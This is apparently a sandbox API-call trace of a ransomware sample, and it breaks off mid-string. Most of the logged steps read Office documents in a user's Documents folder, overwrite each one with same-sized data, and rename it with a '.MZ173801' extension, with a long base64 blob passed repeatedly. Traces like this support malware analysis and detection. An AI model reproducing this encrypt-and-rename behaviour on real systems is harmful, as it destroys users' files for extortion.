lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f092670, ftCreationTime.dwHighDateTime=0x1d5e419, ftLastAccessTime.dwLowDateTime=0x3bf5ee00, ftLastAccessTime.dwHighDateTime=0x1d586a0, ftLastWriteTime.dwLowDateTime=0x3bf5ee00, ftLastWriteTime.dwHighDateTime=0x1d586a0, nFileSizeHigh=0x0, nFileSizeLow=0x11377)) returned 1 [0124.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0k5pff8__nmIF0D.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0k5pff8__nmif0d.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.432] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.432] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.432] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x11377 [0124.432] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.432] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x11377, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x11377, lpOverlapped=0x0) returned 1 [0124.434] CloseHandle (hObject=0x288) returned 1 [0124.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0k5pff8__nmIF0D.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0k5pff8__nmif0d.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.437] WriteFile (in: hFile=0x288, lpBuffer=0x726540*, nNumberOfBytesToWrite=0x11377, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x726540*, lpNumberOfBytesWritten=0x18f99c*=0x11377, lpOverlapped=0x0) returned 1 [0124.440] CloseHandle (hObject=0x288) returned 1 [0124.442] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0k5pff8__nmIF0D.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0k5pff8__nmif0d.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0k5pff8__nmIF0D.docx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0k5pff8__nmif0d.docx.mz173801")) returned 1 [0124.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\45pja94adq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\45pja94adq.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2ce080, ftCreationTime.dwHighDateTime=0x1d56b94, ftLastAccessTime.dwLowDateTime=0x8ee4390, ftLastAccessTime.dwHighDateTime=0x1d57796, ftLastWriteTime.dwLowDateTime=0x8ee4390, ftLastWriteTime.dwHighDateTime=0x1d57796, nFileSizeHigh=0x0, nFileSizeLow=0xb0c0)) returned 1 [0124.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.447] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\45pja94adq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\45pja94adq.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.448] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.448] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.448] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xb0c0 [0124.448] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.448] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0xb0c0, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xb0c0, lpOverlapped=0x0) returned 1 [0124.449] CloseHandle (hObject=0x288) returned 1 [0124.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\45pja94adq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\45pja94adq.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.452] WriteFile (in: hFile=0x288, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xb0c0, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f99c*=0xb0c0, lpOverlapped=0x0) returned 1 [0124.454] CloseHandle (hObject=0x288) returned 1 [0124.457] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\45pja94adq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\45pja94adq.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\45pja94adq.pptx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\45pja94adq.pptx.mz173801")) returned 1 [0124.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\61APk.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\61apk.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a7bb750, ftCreationTime.dwHighDateTime=0x1d5a0e9, ftLastAccessTime.dwLowDateTime=0x2839e290, ftLastAccessTime.dwHighDateTime=0x1d5661b, ftLastWriteTime.dwLowDateTime=0x2839e290, ftLastWriteTime.dwHighDateTime=0x1d5661b, nFileSizeHigh=0x0, nFileSizeLow=0x183e2)) returned 1 [0124.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQT